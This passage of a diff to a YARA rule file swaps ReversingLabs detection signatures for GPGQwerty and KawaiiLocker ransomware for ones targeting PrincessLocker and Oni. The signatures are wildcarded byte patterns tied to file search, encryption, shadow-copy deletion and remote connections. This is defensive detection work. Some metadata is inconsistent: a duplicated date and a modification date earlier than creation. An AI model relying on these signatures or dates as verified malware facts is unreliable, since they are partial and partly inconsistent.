-            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
+		$encrypt_files = {
+            73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 25 6F ?? ?? ?? ?? 25 06 28 ?? ?? ?? ?? 03 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 0C 6F ?? ?? ??
+            ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 0B 07 8E 69 17 59 1F ?? 58 17 58 8D ?? ?? ?? ?? 0D 08
+            09 1F ?? 28 ?? ?? ?? ?? 07 16 09 1F ?? 07 8E 69 28 ?? ?? ?? ?? 09 2A
         }
-		$delete_volumes_snapshots_p2 = {
-            EB ?? 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? EB ?? 8D 64 24 ?? 8B BD ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
-            CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A
-            ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 9F ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83
-            C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
-            ?? ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 33
-            FF 57 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72
-            ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 89 B5 ??
-            ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 8C ?? ?? ?? ?? EB ?? 57
-            8D 9F ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
-            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+		$find_files = {
+            02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 16 0B
+            2B ?? 06 07 9A 0C 7E ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 08 28 ?? ?? ??
+            ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ??
+            ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? DE ?? 07 17 D6 0B
+            07 06 8E 69 32 ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ??
+            11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ??
+            DE ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($delete_volumes_snapshots_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Gpgqwerty : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Princesslocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects GPGQwerty ransomware."
+		description = "Yara rule that detects PrincessLocker ransomware."
 		author = "ReversingLabs"
-		id = "8848e00a-a695-575b-a29d-fc9521859e12"
+		id = "b76ef137-aa0b-5fd3-9876-2459cb6535ff"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.GPGQwerty.yara#L1-L83"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e59adadd66b4d242ac7337ce4b3c3ec6c60724f4cf5b86305f1e31b88745928c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.PrincessLocker.yara#L1-L92"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5be4ca3bd0b0afed1d2f3a59e2951d74a8de94c5a4d5a2c6cc29add49eab9ec0"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29549,79 +31148,95 @@ rule REVERSINGLABS_Win32_Ransomware_Gpgqwerty : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GPGQwerty"
+		tc_detection_name = "PrincessLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC
-            ?? 83 F8 ?? 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? 31 C0 EB ?? 0F B7 43 ?? 83 C0 ??
-            66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 04 ?? 84 C0 88 01 75 ?? 8B 44 24
-            ?? 24 ?? 83 F8 ?? 76 ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 66 90
-            89 43 ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 E8 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? 83 F8
-            ?? 89 03 74 ?? E8 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ??
-            E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ??
-            ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? 90 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04
-            24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ??
-            31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44
-            04 ?? 84 C0 88 01 75 ?? 8B 44 24 ?? 24 ?? 83 F8 ?? 77 ?? 89 43 ?? 81 C4 ?? ?? ?? ??
-            89 F0 5B 5E C3 8D B4 26 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B
-            5E C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 81 C4 ?? ?? ??
-            ?? 89 F0 5B 5E C3
+		$encrypt_files = {
+            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45
+            ?? 50 53 FF D7 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? FF D6 85 C0 75 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 53 FF D7 68 ?? ?? ??
+            ?? 8D 4D ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? ?? 85 DB 75 ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 8B 30 89 B5 ?? ?? ?? ?? 3B F0 0F 84 ?? ?? ?? ?? 33 C9 C6 45 ?? ?? 6A ?? 51 8D
+            46 ?? 66 89 8D ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ??
+            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ??
+            66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 75 ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? C6 45 ?? ?? 8B CC
+            33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ??
+            C3 C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
+            45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
+            68 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D BD ?? ??
+            ?? ?? 6A ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 83 BD
+            ?? ?? ?? ?? ?? 6A ?? 0F 43 BD ?? ?? ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF
+            ?? 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 8D 85 ?? ??
+            ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 39 85 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            0F B6 C9 0F 46 C8 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 0F B6 C1 6A ?? 50 6A ?? FF
+            B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 FF 15
         }
-		$find_files_p2 = {
-            8B 45 ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 95 C0 84
-            C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
-            ?? 85 C0 74 ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85
-            C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ??
-            ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 83
-            C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45
-            ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E8
+		$remote_connection_1 = {
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F 85 ?? ?? ??
+            ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 45 ?? ??
+            ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
         }
-		$encrypt_files = {
-            C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83
-            C0 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44
-            24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ??
-            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 C2 B8
-            ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8D 85 ?? ?? ?? ?? 01 D0 66 C7 00 ?? ??
-            8B 45 ?? 83 E8 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9
+		$remote_connection_2 = {
+            BA ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 66 C7 45 ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 55 ?? C6 45
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56
+            8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8B D0 C6 45 ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 53 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
+            ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and $encrypt_files and $remote_connection_1 and $remote_connection_2
 }
-rule REVERSINGLABS_Win32_Ransomware_Kawaiilocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_ONI : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects KawaiiLocker ransomware."
+		description = "Yara rule that detects Oni ransomware."
 		author = "ReversingLabs"
-		id = "8c368e2d-3c6f-5c4b-880b-ebdb06dcf901"
-		date = "2020-08-17"
-		modified = "2020-08-17"
+		id = "9190aee2-1119-546e-82ca-a7aba44a9d7f"
+		date = "2024-09-01"
+		date = "2024-09-01"
+		modified = "2020-12-07"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.KawaiiLocker.yara#L1-L135"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d86b41ef1c43da55869ad26facd5efdf232277f0e33483690a69a04c4ba8f7da"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Oni.yara#L1-L82"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "685abf5a5edba5bae19faaf6521ce617370cdab1404fe84d846e82a60182dfff"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29629,136 +31244,74 @@ rule REVERSINGLABS_Win32_Ransomware_Kawaiilocker : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "KawaiiLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files = {
-            55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 88 4D ?? 89 55
-            ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8
-            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 7D ?? ?? 0F 85 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
